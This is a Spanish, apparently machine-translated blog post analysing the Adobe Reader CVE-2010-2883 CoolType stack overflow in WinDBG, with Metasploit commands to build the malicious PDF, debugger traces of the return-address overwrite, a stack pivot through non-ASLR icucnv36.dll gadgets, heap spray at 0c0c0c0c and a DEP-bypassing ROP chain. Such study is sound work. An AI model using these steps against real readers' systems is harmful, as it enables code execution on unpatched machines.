la vulnerabilidad de Adobe Reader, CVE-2010-2883 registro

0x00 entorno de depuración y la muestra de la vulnerabilidad

WinDBG Windows 7
Adobe Reader: 9.0
Esto está contenido en un Metasploit vulnerabilidades pueden ser generados a partir de Metasploit en pdf.

use exploit/windows/fileformat/adobe_cooltype_sing
set payload windows/exec
set cmd calc.exe
exploit

0x01 depuración vulnerabilidad

Con el fin de facilitar la depuración se puede apagar ASLR CoolType.dll de (la estructura PE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE a cero)
vulnerabilidad CVE puede ser visto desbordamiento de pila strcat causada, en primer lugar en la mirada strcat en los parámetros, el uso sxe ld:cooltype.dllpuede entonces ser cargado cooltype.dll después del tiempo de apagado de strcat desecharse.

sxe ld:cooltype.dll
0:000> sxe ld:cooltype.dll
0:000> g
...
0:000:x86> g
...
ModLoad: 00000000`08000000 00000000`0825f000   C:\Program Files (x86)\Adobe\Reader 9.0\Reader\CoolType.dll
ntdll!NtMapViewOfSection+0xa:
00000000`78eb9b0a c3              ret
0:000> bp 0803dba1
0:000> g
...
0:000:x86> dd esp L4
0018e420  0018e490 0731219c 6c0a5267 00000004

punto 0731219c dominio mesa CANTA único, 0018e490 dirección en la pila, se señaló ebp = 0018e490, pero la posición se almacena en saved_ebp ebp + 108h, es decir, la posición de la pila hasta 104h puede ser cubierto.

0:000:x86> r ebp
ebp=0018e490
0:000:x86> dd 0731219c
0731219c  acc41b74 ba6a60e4 4a82a714 0c0c0c0c
073121ac  22d1b3ea 430fa496 bfb08d6a 080c66da
073121bc  66486027 9ff85d20 5ba01137 b9aa0a8a
073121cc  ad254865 9040bf99 0bda682f 01a5a9ba
073121dc  ff4c0164 3c13c239 64ca5662 c774c1a5
073121ec  084d0889 5e102077 3b346415 215df71b
073121fc  83c5f55f 032cff20 337db4a6 de028a42
0731220c  93535d63 370413f6 6264275e f7b684ba

la ejecución de un solo paso, se puede ver la dirección de retorno de la función está cubierta, protección de GS no se puede comprobar

0:000:x86> dd ebp+108 L4
0018e598  0018e6d0 080dcf4f 0018e6d0 0018e5c0
0:000:x86> p
CoolType+0x3dba6:
0803dba6 59              pop     ecx
0:000:x86> dd ebp+108 L4
0018e598  5dad9334 87d86693 da3e7aab 7cea194a

dirección de ejecución de un solo paso 0803DCA5 encontrar en la call sub_8016AF9que se da, a la vista.

0:000:x86> bp 0803dca5
0:000:x86> g
Breakpoint 1 hit
CoolType+0x3dca5:
0803dca5 e84f8efdff      call    CoolType+0x16af9 (08016af9)
0:000:x86> t
CoolType+0x16af9:
08016af9 55              push    ebp

También es un error con el error 08016b71 lugar y lugar 0801ba5c, saltaron al sub_808AE70 función en lugar 0801ba5c, aquí está 0808b062 call dword ptr [eax]saltaron a la cadena de ROP.

0:000:x86> bp 0808b062
0:000:x86> 
CoolType!CTInit+0x44b5d:
0808b062 ff10            call    dword ptr [eax]      ds:002b:0018e688=4a80cb38

eax el valor de 0018e688 nuestra cobertura del espacio de pila, 4a80cb38 se encuentra icucnv36.dll, icucnv36.dll ASLR es una DLL no está abierto

0:000:x86> u 4a80cb38
icucnv36!ucnv_toUChars_3_6+0x162:
4a80cb38 81c594070000    add     ebp,794h
4a80cb3e c9              leave
4a80cb3f c3              ret
icucnv36!ucnv_getNextUChar_3_6:
4a80cb40 55              push    ebp
4a80cb41 8bec            mov     ebp,esp
4a80cb43 8b5514          mov     edx,dword ptr [ebp+14h]
4a80cb46 83ec2c          sub     esp,2Ch
4a80cb49 85d2            test    edx,edx

Por la parte inferior de la pila y luego dejar el equivalente modificado esp, esp ver también ser ubicados Cubrimos el espacio de pila, en cuyo caso la dirección es también controlada ret al segundo segmento

0:000:x86> t
icucnv36!ucnv_toUChars_3_6+0x162:
4a80cb38 81c594070000    add     ebp,794h
0:000:x86> p
icucnv36!ucnv_toUChars_3_6+0x168:
4a80cb3e c9              leave
0:000:x86> 
icucnv36!ucnv_toUChars_3_6+0x169:
4a80cb3f c3              ret
0:000:x86> r esp
esp=0018e498
0:000:x86> dd esp L4
0018e498  4a82a714 0c0c0c0c 22d1b3ea 430fa496

La segunda modificación esp gadget para 0c0c0c0c

0:000:x86> t
icucnv36!icu_3_6::CharacterIterator::setToStart+0x8:
4a82a714 5c              pop     esp
0:000:x86> u $ip
icucnv36!icu_3_6::CharacterIterator::setToStart+0x8:
4a82a714 5c              pop     esp
4a82a715 c3              ret
0:000:x86> dd esp L4
0018e49c  0c0c0c0c 22d1b3ea 430fa496 bfb08d6a

Después de ejecutar la primera instrucción, mirada a la situación esta vez pila, aunque HeapSpray llena de una gran cantidad de instrucción del monopatín, pero la dirección de 0c0c0c0c contenido correspondiente es el comienzo del código shell

0:000:x86> p
icucnv36!icu_3_6::CharacterIterator::setToStart+0x9:
4a82a715 c3              ret
0:000:x86> dd esp-0x20 L20
0c0c0bec  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
0c0c0bfc  0c0c0c0c 0c0c0c0c 0c0c0c0c 41414141
0c0c0c0c  4a8063a5 4a8a0000 4a802196 4a801f90
0c0c0c1c  4a84903c 4a80b692 4a801064 4a8522c8
0c0c0c2c  10000000 00000000 00000000 00000002
0c0c0c3c  00000102 00000000 4a8063a5 4a801064
0c0c0c4c  4a842db2 4a802ab1 00000008 4a80a8a6
0c0c0c5c  4a801f90 4a849038 4a80b692 4a801064

ejecutable memoria de la orden> memcpy para copiar el código shell algunos de lectura-escritura - Volver según CreateFileA -> CreateFileMappingA -> MapViewOfFile

pensamiento 0x02

  1. Si el accidente pelusa desbordamiento único, los puntos de interrupción de datos en cuyo momento el llenado de los datos, para ver si puede haber un secuestro flujo de instrucciones
  2. Utilizar después de secuestrar presente en 0808b062, encontrar a alguien que deje esp encuentra dentro de nuestro espacio de pila controlada, a continuación, el pop ESP puede ser alcanzado.
  3. Icucnv36.dll ASLR se pasa por alto, el bypass DEP es en sí mismo un espacio abierto ejecutable, y después la copia del código de.

0x03 Referencia

  1. https://bbs.pediy.com/thread-257172.htm
  2. https://bbs.ichunqiu.com/thread-8849-1-1.html

Supongo que te gusta

Origin www.cnblogs.com/go2sleep/p/12466754.html
Recomendado
Clasificación